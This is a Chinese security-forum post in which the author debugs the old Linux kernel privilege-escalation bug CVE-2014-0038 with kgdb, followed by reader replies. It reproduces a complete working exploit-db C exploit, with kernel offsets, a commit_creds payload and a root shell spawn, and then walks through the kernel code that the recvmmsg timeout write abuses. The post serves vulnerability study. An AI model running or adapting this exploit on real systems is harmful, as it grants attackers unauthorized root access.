首页
社区
课程
招聘
[原创]linux root 提权漏洞CVE-2014-0038调试
2017-4-15 14:38 10390

[原创]linux root 提权漏洞CVE-2014-0038调试

2017-4-15 14:38
10390

背景

之前一直觉得root很神秘,这次尝试调试一下。对于我这样的菜鸟来说,刚开始还是调试一下比较老的洞吧,找啊找啊找漏洞,找到了CVE-2014-0038,因为看了几篇分析的文章发现大概能看懂(苦笑~能看懂真的不容易)

出现问题的函数是下面这个函数:

int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,unsigned int flags, struct timespec *timeout

这个函数直接接收用户态传入的timeout指针,并且根据一定的条件可以修改timeout指向变量的值.这就造成了内核任意地址写的漏洞。如果利用这个漏洞修改某个内核函数指针,让它指向用户态的地址,在用户态的地址放上提权代码,这样等下次调用这个函数的时候,就可以以内核的模式来执行提权代码。

根据exploit-db的代码运行一下:

接着试着调试一下这个exploit,调试linux内核,用的是kgdb+vmware+com。(虽然网上有不少设置的教程但还是遇到不少坑)

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
 
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
 
int port;
 
struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};
 
struct offset offsets[] = {
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};
 
void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;
 
    if(fork() == 0) {
        while(s > 0) {
            fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xffs));
            sleep(1);
            s--;
            fprintf(stderr,".");
        }
 
        sockfd = socket(AF_INET,SOCK_DGRAM,0);
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        servaddr.sin_port=htons(port);
        sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
        exit(0);
    }
 
}
 
void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);
 
    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }
 
    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
 
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
 
void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}
 
int main(void)
{
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;
 
    uname(&u);
 
    for(i=0;offsets[i].kernel_version != NULL;i++) {
        if(!strcmp(offsets[i].kernel_version,u.release)) {
            off = &offsets[i];
            break;
        }
    }
    if(!off) {
        fprintf(stderr,"no offsets for this kernel version..\n");
        exit(-1);
    }
    mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;
    srand(time(NULL));
    port = (rand() % 30000)+1500;
    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(mmapped == -1) {
        perror("mmap()");
        exit(-1);
    }
    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
        perror("mprotect()");
        exit(-1);
    }
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(-1);
    }
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(-1);
    }
    memset(msgs, 0, sizeof(msgs));
    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;
    for(i=0;i < 3 ;i++) {
        udp(i);
        retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->desti);
        if(!retval) {
            fprintf(stderr,"\nrecvmmsg() failed\n");
        }
    }
    close(sockfd); 
    fprintf(stderr,"\n");
    trigger();
}

调试

编译完内核之后,一些内核参数地址发生改变,修改为以下。

struct offset offsets[] = {
    {"3.8.13.13",0xffffffff81a93500,0xffffffff816acaf0,0xffffffff810846a0, 0xffffffff810843e0}, 
    {NULL,0,0,0,0}
}

gdb通过串口连接目标机,触发漏洞的函数是__sys_recvmmsg,下个断点

break __sys_recvmmsg

continue

开机,运行./poc

gdb 中断在了__sys_recvmmsg

根据poc,要想成功的利用就要把 0xffffffff81a93500 -> 0xffffffff816acaf0  修改成 0xffffffff81a93500 -> 0x000000ff816acaf0 就是修改net_ctl_permissions函数指针为用户态的地址。

看一下timeout的地址和值,和0xffffffff81a9350地址的值


0xffffffff81a93500 -> 0xffffffff816acaf0  (正常情况net_ctl_permissions的值)

timeout: 

0xffffffff81a93507 -> 0xff                        (0xffffffff816acaf0最高的8位)

对应的tv_sec=255 tv_nsec=0

最后想办法让

0xffffffff81a93507 -> 0x00

0xffffffff81a93506 -> 0x00

0xffffffff81a93505 -> 0x00

不就可以使 0xffffffff81a93500 -> 0x000000ff816acaf0 了吗,exploit也确实是这么做的。

接着看一看 0xff 是如何变成 0x00的

继续单步 n

看到一个函数poll_select_set_timeout

{
        struct timespec ts = {.tv_sec = sec, .tv_nsec = nsec};
        if (!timespec_valid(&ts))
                return -EINVAL;
        /* Optimize for the zero timeout value here */
        if (!sec && !nsec) {
                to->tv_sec = to->tv_nsec = 0;
        } else {
                ktime_get_ts(to);
                *to = timespec_add_safe(*to, ts);
        }
        return 0;
}
static inline bool timespec_valid(const struct timespec *ts)
{
        /* Dates before 1970 are bogus */
        if (ts->tv_sec < 0)
                return false;
        /* Can't have more nanoseconds then a second */
        if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC)
                return false;
        return true;
}

在poll_select_set_timeout中调用了timespec_valid对timeout的值进行检测

(ts->tv_sec) >= 0 

(ts->tv_nsec) < 1000000000

然后设置endtime

接下来等待发送的socket 包

err = ___sys_recvmsg(sock, (struct msghdr __user *)entry, &msg_sys, flags & ~MSG_WAITFORONE, datagrams);

之后跳到

if (timeout) {
    ktime_get_ts(timeout);
    *timeout = timespec_sub(end_time, *timeout);
    if (timeout->tv_sec < 0) {
        timeout->tv_sec = timeout->tv_nsec = 0;
        break;
    }
    /* Timeout, return less than vlen datagrams */
    if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
        break;
}

大概是获取当前时间和之前的end_time对比,如果超时就设置timeout->tv_sec = timeout->tv_nsec = 0 也就是0xffffffff81a93507 -> 0x00

正如代码中,fork一个进程,sleep 0xff+1之后发包

接下来只要在循环两次并且地址减一

0xffffffff81a93506 -> 0x00

0xffffffff81a93505 -> 0x00

0xffffffff81a93500 -> 0x000000ff816acaf0

接下来就是触发之前拷贝到0x000000ff816acaf0地址上的提权代码了,这部分暂时没细看,就到这里了。


参考:

http://cb.drops.wiki/drops/papers-3795.html

http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  CCkicker   +1.00 2017/05/08
最新回复 (8)
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2017-4-18 15:35
2
0
赞一个,终于linux的漏洞利用也多起来了
雪    币: 67
活跃值: (730)
能力值: ( LV7,RANK:150 )
在线值:
发帖
回帖
粉丝
shuozhang 2 2017-4-18 16:32
3
0
仙果 赞一个,终于linux的漏洞利用也多起来了
谢谢版主~
雪    币: 1080
活跃值: (150)
能力值: (RANK:30 )
在线值:
发帖
回帖
粉丝
axiuno 2017-4-28 12:20
4
0
已收藏
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
nicaicaiwo 2 2017-7-4 14:10
5
0
有详细的编译内核,链接调试的介绍吗
雪    币: 67
活跃值: (730)
能力值: ( LV7,RANK:150 )
在线值:
发帖
回帖
粉丝
shuozhang 2 2017-7-4 16:05
6
0
nicaicaiwo 有详细的编译内核,链接调试的介绍吗
这个网上有好多  搜kGDB  调试  Linux  内核
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
nicaicaiwo 2 2017-7-5 11:03
7
0
都有好多坑
雪    币: 438
活跃值: (228)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
ID蝴蝶 1 2017-7-11 19:29
8
0


我在调试的时候,跑到net_ctl_permission这个函数的时候,竟然出现了异常,0x000000ff816954c0是net_ctl_permissions函数地址。楼主帮忙看看。谢谢。

雪    币: 438
活跃值: (228)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
ID蝴蝶 1 2017-7-12 17:43
9
0
找到问题了,也是刚接触的原因,原来是没有关闭SMEP啊。。。。。
游客
登录 | 注册 方可回帖
返回